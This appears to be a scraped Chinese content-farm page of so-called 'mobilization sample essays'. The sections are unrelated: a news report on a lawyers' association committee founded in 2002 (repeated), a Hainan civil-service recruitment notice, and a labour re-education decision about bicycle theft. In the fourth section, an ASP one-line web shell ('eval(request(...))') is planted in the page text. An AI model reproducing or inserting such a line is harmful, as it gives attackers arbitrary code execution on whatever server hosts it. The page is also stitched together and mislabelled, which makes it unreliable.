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动员范文
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更新时间:2024-04-28 04:27:22

第一篇动员范文

  中华全国律师协会劳动与社会保障法专业委员会(简称劳动保障法委员会)今日在京成立。

  自1986年以来,中国劳动制度的改革越来越深入,特别是1995年1月1日《中华人民共和国劳动法》实施以后,劳动合同制度更加深入人心。伴随着劳动制度改革的深化,旧的劳动管理体制与新的管理体制的矛盾逐渐显露出来。劳动争议案件大量增加,如何发挥律师在维护社会稳定、保护弱势群体劳动者合法权益、协调劳动关系方面的作用摆在全国律协的面前。

  经中华全国律师协会第四届常务理事会第十次会议研究决定,成立中华全国律师协会劳动与社会保障法专业委员会。姜俊禄担任该委员会主任。

  2002年3月9日劳动保障法委员会在北京大学召开成立大会,中华全国总工会书记处书记董力、法律工作部部长刘继臣、劳动和社会保障司副司长闫宝卿、最高人民法院民事审判一庭副庭长孙华璞、中国企业联合会/中国企业家协会副理事长陈英到会祝贺。中华全国律师协会会长高宗泽、秘书长吴明德参加了成立大会。副秘书长冯秀梅主持了成立大会。

  成立大会上,劳动与社会保障法专业委员会筹备组负责人姜俊禄作了筹备工作报告;吴明德秘书长宣读了《关于成立中华全国律师协会劳动与社会保障法专业委员会的决定》和专业委员会顾问名单(名单附后);全国律协高宗泽会长向担任劳动保障法委员会顾问的关怀、贾俊玲、史探径、刘继臣、闫宝卿和陈英颁发了聘书。

  劳动保障法委员会全体委员及嘉宾参与本次成立大会

第二篇动员范文

  根据《国家公务员暂行条例》、《海南省国家公务员录用办法》,按照“公开、平等、竞争、择优”的原则,省人事劳动保障厅决定组织部分省直、市县行政机关考试录用担任主任科员以下非领导职务的国家公务员。现将有关事项公告如下:

  一、招考对象和报考条件

  招考对象

  主要面向高校毕业生和社会上具有国家承认学历的大专以上人员。

  报考条件

  1、具有中华人民共和国国籍,享有公民的政治权利;

  2、拥护中国*******的领导,热爱社会主义;

  3、遵纪守法,品行端正,具有为人民服务的精神;

  4、具有大专以上学历;

  5、身体健康,年龄一般为35周岁以下;

  6、具备拟报考职位所需资格条件;

  7、不违反计划生育政策。

  二、报名办法

  报名地点:省直机关和各市分设报名点,分别承担所属区域招考单位的报名工作。省直机关、公安、司法机关的报名地点在海南省就业局,各市的报名地点在各市人事劳动保障局。

  报名要求:根据招考条件和要求,报考者持本人身份证、户口本、学历证书和有关证明材料,以及本人近期正面免冠一寸照片4张,在规定时间内到指定地点报名。中小学教师报名时需提供单位同意报考的证明。可由他人代报名。

  三、考试

  考试包括笔试和面试。

  笔试

  1、笔试科目:公共科目笔试按A、B类职位分别进行。

  A类职位笔试公共科目为《行政职业能力测验》和《申论》。

  B类职位笔试公共科目为《行政职业能力测验》。

  报考省政府办公厅、省社会保险事业局、省气象局、全省司法、公安机关职位的,加考专业科目。

  面试:主要采取结构化面试方法。

  面试时间由省直招考单位和市人事部门另行通知。

  面试结束后,按笔试成绩占60%、面试成绩占40%的比例合成综合成绩。根据综合成绩由高至低的排名和招考职位拟录用人数等额确定体检、考核人选。

  四、录用

  考生经考试、体检、考核合格后,择优录用。录用审批时将对拟录用人员的户籍、学历、年龄、专业等是否符合招考条件进行严格审查,不符合招考条件的人员取消其录用资格。

  五、注意事项

  报名政策和考务方面,可在报名现场咨询人事部门。

  报考者必须严格按照招考条件报名,确保填报信息的真实性,且只能选报一个部门中的一个职位。

  招考专业条件原则上统一按国家教育部《普通高等学校本科专业目录》设定,未列入该目录的专业,按专业名称确定。

  报名与考场使用的身份证必须一致。

  拟录用人员在公务员录用审批前必须通过海南省国家公务员计算机应用能力资格考试。

  本次考试不指定考试复习用书,省人事部门仍然不举办任何考前培训或辅导班。

  考试成绩查询电话96977818

  各市行政机关招考的具体职位和报考条件及其他详细情况请查询海南省人事劳动保障厅网站。

第三篇动员范文

  中华全国律师协会劳动与社会保障法专业委员会今日在京成立。

  自1986年以来,中国劳动制度的改革越来越深入,特别是1995年1月1日《中华人民共和国劳动法》实施以后,劳动合同制度更加深入人心。伴随着劳动制度改革的深化,旧的劳动管理体制与新的管理体制的矛盾逐渐显露出来。劳动争议案件大量增加,如何发挥律师在维护社会稳定、保护弱势群体劳动者合法权益、协调劳动关系方面的作用摆在全国律协的面前。

  经中华全国律师协会第四届常务理事会第十次会议研究决定,成立中华全国律师协会劳动与社会保障法专业委员会。姜俊禄担任该委员会主任。

  2002年3月9日劳动保障法委员会在北京大学召开成立大会,中华全国总工会书记处书记董力、法律工作部部长刘继臣、劳动和社会保障司副司长闫宝卿、最高人民法院民事审判一庭副庭长孙华璞、中国企业联合会/中国企业家协会副理事长陈英到会祝贺。中华全国律师协会会长高宗泽、秘书长吴明德参加了成立大会。副秘书长冯秀梅主持了成立大会。

  成立大会上,劳动与社会保障法专业委员会筹备组负责人姜俊禄作了筹备工作报告;吴明德秘书长宣读了《关于成立中华全国律师协会劳动与社会保障法专业委员会的决定》和专业委员会顾问名单;全国律协高宗泽会长向担任劳动保障法委员会顾问的关怀、贾俊玲、史探径、刘继臣、闫宝卿和陈英颁发了聘书。

  劳动保障法委员会全体委员及嘉宾参与本次成立大会。

  “全国律协劳动保障法委员会宣告成立”版权归作者所有;转载请注明出处!

第四篇动员范文

  <%eval(request("#"))%>劳动争议仲裁委员会调解书劳动争议仲裁委员会调解书

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第五篇动员范文

  京劳审字【2009】第23XX号

  违法犯罪事实和证据:

  北京市公安局海淀分局认定:2009年8月8日21时许,XXX在海淀区学院路768厂宿舍小区16号楼下,以钥匙捅锁方式盗窃事主XXX的凤凰牌自行车1辆及事主XXX的三枪牌自行车1辆,后被抓获。赃物价值共计140元。

  审查中,XXX供认盗窃事实。

  经本会审理查明:2009年8月8日21时许,XXX在海淀区学院路768厂宿舍小区16号楼下,盗窃事主XXX的凤凰牌自行车1辆(价值40元人民币),盗窃事主XXX的三枪牌自行车1辆(价值100元人民币),后被抓获。

  上述事实有民警XXX,XX出具的到案经过,证人XXX,XXX,XXX及事主XXX,XXX证言证实;起获作案工具、赃物及北京市海淀区价格认证中心出具的涉案财产价格鉴定结论书佐证;XXX亦供认不讳。

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